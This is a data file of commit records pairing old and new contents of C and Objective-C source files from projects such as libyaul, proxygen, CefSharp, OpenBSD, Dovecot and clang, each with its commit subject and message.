{"commit":"f99cb2aca6b5d3999e4d6015ca9731e7041c0eba","old_file":"libyaul\/scu\/bus\/b\/vdp2\/vdp2_scrn_reduction_set.c","new_file":"libyaul\/scu\/bus\/b\/vdp2\/vdp2_scrn_reduction_set.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <vdp2\/scrn.h>\n\n#include <assert.h>\n\n#include \"vdp2-internal.h\"\n\nvoid\nvdp2_scrn_reduction_set(uint8_t scrn, uint16_t horz_reduction)\n{\n#ifdef DEBUG\n        \/* Check if the background passed is valid *\/\n        assert((scrn == SCRN_NBG0) ||\n               (scrn == SCRN_NBG1));\n\n        assert((horz_reduction == SCRN_REDUCTION_NONE) ||\n               (horz_reduction == SCRN_REDUCTION_HALF) ||\n               (horz_reduction == SCRN_REDUCTION_QUARTER));\n#endif \/* DEBUG *\/\n\n        switch (scrn) {\n        case SCRN_NBG0:\n                vdp2_state.buffered_regs.zmctl &= 0xFFFC;\n                vdp2_state.buffered_regs.zmctl |= horz_reduction;\n                break;\n        case SCRN_NBG1:\n                vdp2_state.buffered_regs.zmctl &= 0xFCFF;\n                vdp2_state.buffered_regs.zmctl |= horz_reduction << 8;\n                break;\n        default:\n                return;\n        }\n\n        \/* Write to memory *\/\n        MEMORY_WRITE(16, VDP2(MZCTL), vdp2_state.buffered_regs.zmctl);\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <vdp2\/scrn.h>\n\n#include <assert.h>\n\n#include \"vdp2-internal.h\"\n\nvoid\nvdp2_scrn_reduction_set(uint8_t scrn, uint16_t horz_reduction)\n{\n#ifdef DEBUG\n        \/* Check if the background passed is valid *\/\n        assert((scrn == SCRN_NBG0) ||\n               (scrn == SCRN_NBG1));\n\n        assert((horz_reduction == SCRN_REDUCTION_NONE) ||\n               (horz_reduction == SCRN_REDUCTION_HALF) ||\n               (horz_reduction == SCRN_REDUCTION_QUARTER));\n#endif \/* DEBUG *\/\n\n        switch (scrn) {\n        case SCRN_NBG0:\n                vdp2_state.buffered_regs.zmctl &= 0xFFFC;\n                vdp2_state.buffered_regs.zmctl |= horz_reduction;\n                break;\n        case SCRN_NBG1:\n                vdp2_state.buffered_regs.zmctl &= 0xFCFF;\n                vdp2_state.buffered_regs.zmctl |= horz_reduction << 8;\n                break;\n        default:\n                return;\n        }\n\n        \/* Write to memory *\/\n        MEMORY_WRITE(16, VDP2(ZMCTL), vdp2_state.buffered_regs.zmctl);\n}\n","subject":"Fix writing to wrong register","message":"Fix writing to wrong register\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"895e9fc38a456272a1618d0ba1820e9b2f0c80dc","old_file":"proxygen\/lib\/utils\/NullTraceEventObserver.h","new_file":"proxygen\/lib\/utils\/NullTraceEventObserver.h","old_contents":"","new_contents":"\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <proxygen\/lib\/utils\/TraceEventObserver.h>\n\nnamespace proxygen {\n\/*\n * A no-op trace event observer\n *\/\nstruct NullTraceEventObserver : public TraceEventObserver {\n  void traceEventAvailable(TraceEvent) noexcept override {}\n};\n\n}\n","subject":"Move sample policy logic to be pre-sending request","message":"Move sample policy logic to be pre-sending request\n\nSummary:\nThis is a further java memory allocation to reduce unnecessary TraceEvent instance numbers. From the memory profiling result I ran the other day, the most significant memory allocation in java is for trace events, most of which are actually wasted because of the sample policy. This diff move the sample logic to be before sending request. So we\ncan prevent the trace event instance from being generated at all if it is not sampled.\n\nTest Plan: Still passed\n\nReviewed By: seanc@fb.com\n\nSubscribers: bmatheny, seanc, ranjeeth, kmdent, shikong, pgriess\n\nFB internal diff: D1946217\n\nTasks: 6540655\n\nSignature: t1:1946217:1428422016:198c850e6d5a3919202d347e591a4b21813c214d\n","lang":"C","license":"bsd-3-clause","repos":"zhiweicai\/proxygen,jgli\/proxygen,KublaikhanGeek\/proxygen,hnutank163\/proxygen,supriyantomaftuh\/proxygen,fqihangf\/proxygen,Orvid\/proxygen,hongliangzhao\/proxygen,zhiweicai\/proxygen,jgli\/proxygen,raphaelamorim\/proxygen,luxuan\/proxygen,hongliangzhao\/proxygen,chjp2046\/proxygen,zhenglaizhang\/proxygen,hnutank163\/proxygen,wrmsr\/proxygen,LilMeyer\/proxygen,chjp2046\/proxygen,songfj\/proxygen,KublaikhanGeek\/proxygen,pueril\/proxygen,luxuan\/proxygen,pueril\/proxygen,supriyantomaftuh\/proxygen,LilMeyer\/proxygen,fqihangf\/proxygen,Werror\/proxygen,wrmsr\/proxygen,zhiweicai\/proxygen,raphaelamorim\/proxygen,hongliangzhao\/proxygen,LilMeyer\/proxygen,fqihangf\/proxygen,zhenglaizhang\/proxygen,Werror\/proxygen,hiproz\/proxygen,jgli\/proxygen,sssemil\/proxygen,hnutank163\/proxygen,chjp2046\/proxygen,chenmoshushi\/proxygen,hiproz\/proxygen,raphaelamorim\/proxygen,chenmoshushi\/proxygen,hiproz\/proxygen,sssemil\/proxygen,wrmsr\/proxygen,chjp2046\/proxygen,fqihangf\/proxygen,chenmoshushi\/proxygen,zhiweicai\/proxygen,raphaelamorim\/proxygen,KublaikhanGeek\/proxygen,hiproz\/proxygen,wrmsr\/proxygen,sssemil\/proxygen,pueril\/proxygen,songfj\/proxygen,hongliangzhao\/proxygen,chenmoshushi\/proxygen,pueril\/proxygen,Orvid\/proxygen,zhenglaizhang\/proxygen,LilMeyer\/proxygen,Werror\/proxygen,Werror\/proxygen,supriyantomaftuh\/proxygen,sssemil\/proxygen,jgli\/proxygen,supriyantomaftuh\/proxygen,songfj\/proxygen,Orvid\/proxygen,zhenglaizhang\/proxygen,songfj\/proxygen,Orvid\/proxygen,luxuan\/proxygen,KublaikhanGeek\/proxygen,hnutank163\/proxygen"}
{"commit":"11f88734c26a6b477c9715720aac5af8b455a605","old_file":"SSPSolution\/SSPSolution\/LevelDirector.h","new_file":"SSPSolution\/SSPSolution\/LevelDirector.h","old_contents":"#ifndef SSPAPPLICATION_AI_LEVELDIRECTOR_H\n#define SSPAPPLICATION_AI_LEVELDIRECTOR_H\n#include \"Observer.h\"\n#include <vector>\nclass LevelDirector\n{\nprivate:\t\/\/ Variables\n\t\/* TEMP STATE STRUCTURE *\/\n\tstatic enum State\n\t{\n\t\tNONE = 0,\n\t\tSTART,\n\t\tDEFAULT,\n\t\tGOAL\n\t};\n\tState m_currentState;\n\tState m_defaultState;\n\t\/\/State m_goalState;\/\/ A state which is the current goal for the FSM\n\n\t\/\/ Change State to State* after temp structure is removed\n\tstd::vector<State> m_states;\npublic:\n\tLevelDirector();\n\t~LevelDirector();\n\tint Shutdown();\n\n\tint Initialize();\n\tint Update(float deltaTime);\n\n\tint React(int entityID, EVENT event);\n\n\nprivate:\t\/\/ Helper functions\n\tvoid AddState(State newState);\n\tvoid SetDefaultState(State state);\n\tbool ChangeState(State state);\n\n};\n#endif","new_contents":"#ifndef SSPAPPLICATION_AI_LEVELDIRECTOR_H\n#define SSPAPPLICATION_AI_LEVELDIRECTOR_H\n#include \"Observer.h\"\n#include <vector>\n\/\/#define NUMSTATES 3\nnamespace FSMEnvironment\n{\n\n#pragma region temp\n\tenum Hint\n\t{\n\t\tNONE = 0,\n\t\tEXAMPLE\n\t};\n\tstruct State\n\t{\n\t\tint stateID = -1;\n\t\tint timeDelay = -1;\n\t\tHint hint = Hint::NONE;\n\n\t\tint CheckTransitions();\n\t\tvoid Enter();\n\t\tvoid Exit();\n\t\tvoid Update(float deltaTime);\n\t};\n#pragma endregion\n\n\tclass LevelDirector\n\t{\n\tprivate:\t\/\/ Variables\n\t\tState* m_currentState;\n\t\tState* m_defaultState;\n\t\tState* m_goalState; \/\/ A state which is the current goal for the FSM\n\t\tint m_goalID;\n\t\tstd::vector<State> m_states;\n\tpublic:\n\t\tLevelDirector();\n\t\t~LevelDirector();\n\t\tint Shutdown();\n\n\t\tint Initialize();\n\t\tint Update(float deltaTime);\n\n\t\tint React(int entityID, EVENT event);\n\n\n\tprivate:\t\/\/ Helper functions\n\t\t\/\/ TODO: \n\t\t\/\/ Depending on what kind of array\/vector we end up with to hold our states\n\t\t\/\/ the argument list should be updated accordingly\n\t\tvoid AddState(State* newState);\n\t\tvoid SetDefaultState(State* state);\n\t\tbool ChangeState(int state);\n\n\t};\n}\n#endif","subject":"FIX cleaned up header file to resemble FSM environment","message":"FIX cleaned up header file to resemble FSM environment\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"27326b71197a4f73e422f388d5aa3d1b3ea24bac","old_file":"util\/eprintf.c","new_file":"util\/eprintf.c","old_contents":"\/* See LICENSE file for copyright and license details. *\/\n\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/util.h\"\n\nstatic void venprintf(int, const char *, va_list);\n\nvoid\neprintf(const char *fmt, ...)\n{\n\tva_list ap;\n\n\tva_start(ap, fmt);\n\tvenprintf(EXIT_FAILURE, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nenprintf(int status, const char *fmt, ...)\n{\n\tva_list ap;\n\n\tva_start(ap, fmt);\n\tvenprintf(status, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nvenprintf(int status, const char *fmt, va_list ap)\n{\n\tvfprintf(stderr, fmt, ap);\n\n\tif(fmt[0] && fmt[strlen(fmt)-1] == ':') {\n\t\tfputc(' ', stderr);\n\t\tperror(NULL);\n\t}\n\n\texit(status);\n}\n\nvoid\nweprintf(const char *fmt, ...)\n{\n\tva_list ap;\n\n\tva_start(ap, fmt);\n\tvfprintf(stderr, fmt, ap);\n\tva_end(ap);\n\tif (fmt[0] && fmt[strlen(fmt)-1] == ':') {\n\t\tfputc(' ', stderr);\n\t\tperror(NULL);\n\t}\n}\n","new_contents":"\/* See LICENSE file for copyright and license details. *\/\n\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"..\/util.h\"\n\nstatic void venprintf(int, const char *, va_list);\n\nvoid\neprintf(const char *fmt, ...)\n{\n\tva_list ap;\n\n\tva_start(ap, fmt);\n\tvenprintf(EXIT_FAILURE, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nenprintf(int status, const char *fmt, ...)\n{\n\tva_list ap;\n\n\tva_start(ap, fmt);\n\tvenprintf(status, fmt, ap);\n\tva_end(ap);\n}\n\nstatic void\nvenprintf(int status, const char *fmt, va_list ap)\n{\n\tvfprintf(stderr, fmt, ap);\n\n\tif(fmt[0] && fmt[strlen(fmt)-1] == ':') {\n\t\tfputc(' ', stderr);\n\t\tperror(NULL);\n\t}\n\n\texit(status);\n}\n\nvoid\nweprintf(const char *fmt, ...)\n{\n\tva_list ap;\n\n\tva_start(ap, fmt);\n\tvfprintf(stderr, fmt, ap);\n\tva_end(ap);\n\tif (fmt[0] && fmt[strlen(fmt)-1] == ':') {\n\t\tfputc(' ', stderr);\n\t\tperror(NULL);\n\t}\n}\n","subject":"Mark venprintf() as static explicitly, not just in the decl","message":"Mark venprintf() as static explicitly, not just in the decl\n","lang":"C","license":"mit","repos":"ScoreUnder\/fjinit,gdm85\/sinit,henrysher\/sinit"}
{"commit":"48f856a79a74748d1b2432ebab0b24e46bf082a8","old_file":"utility\/utility_toolkit.h","new_file":"utility\/utility_toolkit.h","old_contents":"#ifdef OS_WINDOWS\n  \n   \n\n#endif\n\n#ifdef LINUX\n\n #define SWAP(valX,valY)                              \\\n        {                                             \\\n          typeof (valX) valZ;                         \\\n          valZ = valX;                                \\\n          valX = valY;                                \\\n          valY = valZ;                                \\\n        }\n\n#endif\n\n\n\n\/*Swap 2 integer number by xor method*\/\nvoid swap2int(int *,int *);\n\nchar *decimal_to_binary(size_t);\n\n\/*Inverse number like 1136 -> 6311*\/\nint inverse_number(int);\n\nchar * base64_decoder(const char *);\nchar * base64_encoder(const char *);\nchar * url_decoder(const char *);\nchar * url_encoder(const char *);\n\n\/*ASCII values convert HEX values*\/\nchar *ascii2hex(const char  *,size_t);\n\n\/*HEX values convert ASCII values*\/\nchar *hex2ascii(const char  *,size_t);\n","new_contents":"#ifdef OS_WINDOWS\n  \n   \n\n#endif\n\n#ifdef LINUX\n\n #define SWAP(valX,valY)                              \\\n        {                                             \\\n          typeof (valX) valZ;                         \\\n          valZ = valX;                                \\\n          valX = valY;                                \\\n          valY = valZ;                                \\\n        }\n\n#endif\n\n\n\n\/*Swap 2 integer number by xor method*\/\nvoid swap2int(int *,int *);\n\nchar *decimal_to_binary(size_t);\n\n\/*Inverse number like 1136 -> 6311*\/\nint inverse_number(int);\n\nchar * base64_decoder(const char *);\nchar * base64_encoder(const char *);\nchar * url_decoder(const char *);\nchar * url_encoder(const char *);\n\n\/*ASCII values convert HEX values*\/\nchar *ascii2hex(const char  *,size_t);\n\n\/*HEX values convert ASCII values*\/\nchar *hex2ascii(const char  *,size_t);\n\nconst int is_little_endian_ival = 1;\n#define is_little_endian() ( ( *((char*) &is_little_endian_ival) ) == 1 )","subject":"Check system is big endian or little endian function added","message":"Check system is big endian or little endian function added\n\nCheck system is big endian or little endian?\n","lang":"C","license":"apache-2.0","repos":"straceX\/cprogrammingtoolkit"}
{"commit":"6a40a8ac4ceeef60737c6872877249477cdb5421","old_file":"Pod\/Classes\/Constants.h","new_file":"Pod\/Classes\/Constants.h","old_contents":"\/\/\n\/\/  Constants.h\n\/\/  Pods\n\/\/\n\/\/  Created by Danil Tulin on 1\/30\/16.\n\/\/\n\/\/\n\n@import Foundation;\n\n#ifndef Constants_h\n#define Constants_h\n\nconst static NSString *defaultPrimaryColor = @\"1A1A1C\";\nconst static NSString *darkPrimaryColor = @\"121315\";\n\nconst static NSInteger bottomToolbarHeight = 50;\n\nconst static CGFloat defaultAnimationDuration = .3f;\n\nconst static NSInteger predscriptionViewCornerViewOffset = 25;\n#endif \/* Constants_h *\/\n","new_contents":"\/\/\n\/\/  Constants.h\n\/\/  Pods\n\/\/\n\/\/  Created by Danil Tulin on 1\/30\/16.\n\/\/\n\/\/\n\n@import Foundation;\n\n#ifndef Constants_h\n#define Constants_h\n\nconst static NSString *defaultPrimaryColor = @\"1A1A1C\";\nconst static NSString *darkPrimaryColor = @\"121315\";\n\nconst static NSInteger bottomToolbarHeight = 50;\n\nconst static CGFloat defaultAnimationDuration = .3f;\n\nconst static NSInteger predscriptionViewCornerViewOffset = 25;\n\nconst static CGSize SERoundButtonsContainerOffset = {25, 20};\n#endif \/* Constants_h *\/\n","subject":"Add new constant for button","message":"Add new constant for button\n","lang":"C","license":"mit","repos":"tulindanil\/SEUIKit"}
{"commit":"338133a98d34607b9b6ada6065b72c8c7d9f8790","old_file":"CefSharp.Core\/Internals\/CefCallbackWrapper.h","new_file":"CefSharp.Core\/Internals\/CefCallbackWrapper.h","old_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\n#include \"include\\cef_callback.h\"\n\nnamespace CefSharp\n{\n    public ref class CefCallbackWrapper : public ICallback\n    {\n    private:\n        MCefRefPtr<CefCallback> _callback;\n\n    public:\n        CefCallbackWrapper(CefRefPtr<CefCallback> &callback) : _callback(callback)\n        {\n            \n        }\n\n        !CefCallbackWrapper()\n        {\n            _callback = NULL;\n        }\n\n        ~CefCallbackWrapper()\n        {\n            this->!CefCallbackWrapper();\n        }\n\n        virtual void Cancel()\n        {\n            if (_callback.get() == nullptr)\n            {\n                return;\n            }\n\n            _callback->Cancel();\n\n            delete this;\n        }\n\n        virtual void Continue()\n        {\n            if (_callback.get() == nullptr)\n            {\n                return;\n            }\n\n            _callback->Continue();\n\n            delete this;\n        }\n    };\n}","new_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\n#include \"include\\cef_callback.h\"\n\nnamespace CefSharp\n{\n    public ref class CefCallbackWrapper : public ICallback\n    {\n    private:\n        MCefRefPtr<CefCallback> _callback;\n\n    public:\n        CefCallbackWrapper(CefRefPtr<CefCallback> &callback) : _callback(callback)\n        {\n            \n        }\n\n        !CefCallbackWrapper()\n        {\n            _callback = NULL;\n        }\n\n        ~CefCallbackWrapper()\n        {\n            this->!CefCallbackWrapper();\n        }\n\n        virtual void Cancel()\n        {\n            if (_callback.get())\n            {\n                _callback->Cancel();\n\n                delete this;\n            }\n        }\n\n        virtual void Continue()\n        {\n            if (_callback.get())\n            {\n                _callback->Continue();\n\n                delete this;\n            }\n        }\n    };\n}","subject":"Change 'if' style for null _callback check","message":"Change 'if' style for null _callback check\n","lang":"C","license":"bsd-3-clause","repos":"battewr\/CefSharp,Haraguroicha\/CefSharp,gregmartinhtc\/CefSharp,rlmcneary2\/CefSharp,battewr\/CefSharp,joshvera\/CefSharp,ruisebastiao\/CefSharp,dga711\/CefSharp,yoder\/CefSharp,zhangjingpu\/CefSharp,ITGlobal\/CefSharp,Haraguroicha\/CefSharp,illfang\/CefSharp,gregmartinhtc\/CefSharp,Livit\/CefSharp,AJDev77\/CefSharp,NumbersInternational\/CefSharp,jamespearce2006\/CefSharp,ITGlobal\/CefSharp,haozhouxu\/CefSharp,VioletLife\/CefSharp,NumbersInternational\/CefSharp,windygu\/CefSharp,yoder\/CefSharp,battewr\/CefSharp,Livit\/CefSharp,windygu\/CefSharp,rlmcneary2\/CefSharp,wangzheng888520\/CefSharp,joshvera\/CefSharp,rlmcneary2\/CefSharp,NumbersInternational\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,ruisebastiao\/CefSharp,NumbersInternational\/CefSharp,joshvera\/CefSharp,ITGlobal\/CefSharp,wangzheng888520\/CefSharp,illfang\/CefSharp,AJDev77\/CefSharp,ITGlobal\/CefSharp,yoder\/CefSharp,zhangjingpu\/CefSharp,rlmcneary2\/CefSharp,VioletLife\/CefSharp,jamespearce2006\/CefSharp,VioletLife\/CefSharp,jamespearce2006\/CefSharp,illfang\/CefSharp,haozhouxu\/CefSharp,jamespearce2006\/CefSharp,Livit\/CefSharp,jamespearce2006\/CefSharp,zhangjingpu\/CefSharp,haozhouxu\/CefSharp,wangzheng888520\/CefSharp,battewr\/CefSharp,dga711\/CefSharp,Haraguroicha\/CefSharp,twxstar\/CefSharp,twxstar\/CefSharp,AJDev77\/CefSharp,windygu\/CefSharp,joshvera\/CefSharp,haozhouxu\/CefSharp,yoder\/CefSharp,zhangjingpu\/CefSharp,Livit\/CefSharp,gregmartinhtc\/CefSharp,Haraguroicha\/CefSharp,Haraguroicha\/CefSharp,dga711\/CefSharp,twxstar\/CefSharp,AJDev77\/CefSharp,ruisebastiao\/CefSharp,twxstar\/CefSharp,windygu\/CefSharp,wangzheng888520\/CefSharp,gregmartinhtc\/CefSharp,ruisebastiao\/CefSharp,VioletLife\/CefSharp"}
{"commit":"de4c5acd59de654cd1b16cf74ae94f1bd128652a","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#ifndef SRC_CONFIG_H\n#define SRC_CONFIG_H 1\n\n#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <assert.h>\n\n#ifdef _WIN32\n#include <windows.h>\ntypedef unsigned __int8 cbsasl_uint8_t;\ntypedef unsigned __int16 cbsasl_uint16_t;\ntypedef unsigned __int32 cbsasl_uint32_t;\n#else\n#include <unistd.h>\n#include <stdint.h>\ntypedef uint8_t cbsasl_uint8_t;\ntypedef uint16_t cbsasl_uint16_t;\ntypedef uint32_t cbsasl_uint32_t;\n#endif\n\n#endif \/* SRC_CONFIG_H *\/\n","new_contents":"\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#ifndef SRC_CONFIG_H\n#define SRC_CONFIG_H 1\n\n#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <assert.h>\n#include <platform\/platform.h>\n\ntypedef uint8_t cbsasl_uint8_t;\ntypedef uint16_t cbsasl_uint16_t;\ntypedef uint32_t cbsasl_uint32_t;\n\n#endif \/* SRC_CONFIG_H *\/\n","subject":"Include platform.h instead of ifdef'ing","message":"Include platform.h instead of ifdef'ing\n\nChange-Id: I23b3202563623b46d94c10459837581be231f58e\nReviewed-on: http:\/\/review.couchbase.org\/30386\nReviewed-by: Michael Wiederhold <a17fed27eaa842282862ff7c1b9c8395a26ac320@couchbase.com>\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"couchbase\/cbsasl"}
{"commit":"86358c5e3310867aa65027e3407d9e0b090181aa","old_file":"arch\/hppa\/include\/spinlock.h","new_file":"arch\/hppa\/include\/spinlock.h","old_contents":"\/*\t$OpenBSD: spinlock.h,v 1.1 1999\/01\/08 08:25:34 d Exp $\t*\/\n\n#ifndef _MACHINE_SPINLOCK_H_\n#define _MACHINE_SPINLOCK_H_\n\n#define _SPINLOCK_UNLOCKED\t(1)\n#define _SPINLOCK_LOCKED\t(0)\ntypedef int _spinlock_lock_t;\n\n#endif\n","new_contents":"\/*\t$OpenBSD: spinlock.h,v 1.2 2005\/12\/19 21:30:10 marco Exp $\t*\/\n\n#ifndef _MACHINE_SPINLOCK_H_\n#define _MACHINE_SPINLOCK_H_\n\n#define _SPINLOCK_UNLOCKED\t(1)\n#define _SPINLOCK_LOCKED\t(0)\ntypedef int _spinlock_lock_t __attribute__((__aligned__(16)));\n\n#endif\n","subject":"Fix hppa ldcw alignment issue.","message":"Fix hppa ldcw alignment issue.\n\nHelp deraadt, tedu, kettenis\nOk tedu, kettenis\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"af79d59c5288bd633834dd5bb1e67f9c7470b736","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
{"commit":"9e9bb5bcd436e276e75429720b0d67f94fcd892b","old_file":"bibdesk\/BDSKOAIGroupServer.h","new_file":"bibdesk\/BDSKOAIGroupServer.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKOAIGroupServer.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 1\/1\/07.\n\/\/  Copyright 2007 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"BDSKSearchGroup.h\"\n\n@class BDSKServerInfo;\n\n@interface BDSKOAIGroupServer : NSObject <BDSKSearchGroupServer>\n{\n    BDSKSearchGroup *group;\n    BDSKServerInfo *serverInfo;\n    NSString *searchTerm;\n    NSString *resumptionToken;\n    NSArray *sets;\n    NSString *filePath;\n    NSURLDownload *URLDownload;\n    BOOL failedDownload;\n    BOOL isRetrieving;\n    BOOL needsReset;\n    int availableResults;\n    int fetchedResults;\n}\n- (void)setServerInfo:(BDSKServerInfo *)info;\n- (BDSKServerInfo *)serverInfo;\n- (void)setSearchTerm:(NSString *)string;\n- (NSString *)searchTerm;\n- (void)setSets:(NSArray *)newSets;\n- (NSArray *)sets;\n- (void)setResumptionToken:(NSString *)newResumptionToken;\n- (NSString *)resumptionToken;\n- (void)resetSearch;\n- (void)fetchSets;\n- (void)fetch;\n- (void)startDownloadFromURL:(NSURL *)theURL;\n\n@end\n","subject":"Add new header file. (or: xcode is stupid)","message":"Add new header file. (or: xcode is stupid)","lang":"C","license":"bsd-3-clause","repos":"ycaihua\/skim-app,WoLpH\/skim,ycaihua\/skim-app,WoLpH\/skim,ycaihua\/skim-app,WoLpH\/skim,WoLpH\/skim,ycaihua\/skim-app,WoLpH\/skim,ycaihua\/skim-app"}
{"commit":"6f2ec515d9a2c56b0cea14172bf5691c068c0c65","old_file":"test\/CodeGen\/2007-06-15-AnnotateAttribute.c","new_file":"test\/CodeGen\/2007-06-15-AnnotateAttribute.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | grep llvm.global.annotations\n\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | grep llvm.var.annotation | count 3\n\n#include <stdio.h>\n\n\/* Global variable with attribute *\/\nint X __attribute__((annotate(\"GlobalValAnnotation\")));\n\n\/* Function with attribute *\/\nint foo(int y) __attribute__((annotate(\"GlobalValAnnotation\")))\n               __attribute__((noinline));\n\nint foo(int y __attribute__((annotate(\"LocalValAnnotation\")))) {\n  int x __attribute__((annotate(\"LocalValAnnotation\")));\n  x = 34;\n  return y + x;\n}\n\nint main() {\n  static int a __attribute__((annotate(\"GlobalValAnnotation\")));\n  a = foo(2);\n  printf(\"hello world%d\\n\", a);\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | grep llvm.global.annotations\n\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | grep llvm.var.annotation | count 3\n\n\/* Global variable with attribute *\/\nint X __attribute__((annotate(\"GlobalValAnnotation\")));\n\n\/* Function with attribute *\/\nint foo(int y) __attribute__((annotate(\"GlobalValAnnotation\")))\n               __attribute__((noinline));\n\nint foo(int y __attribute__((annotate(\"LocalValAnnotation\")))) {\n  int x __attribute__((annotate(\"LocalValAnnotation\")));\n  x = 34;\n  return y + x;\n}\n\nint main() {\n  static int a __attribute__((annotate(\"GlobalValAnnotation\")));\n  a = foo(2);\n  return 0;\n}\n","subject":"Make this test portable on Win32.","message":"Make this test portable on Win32.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@139464 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
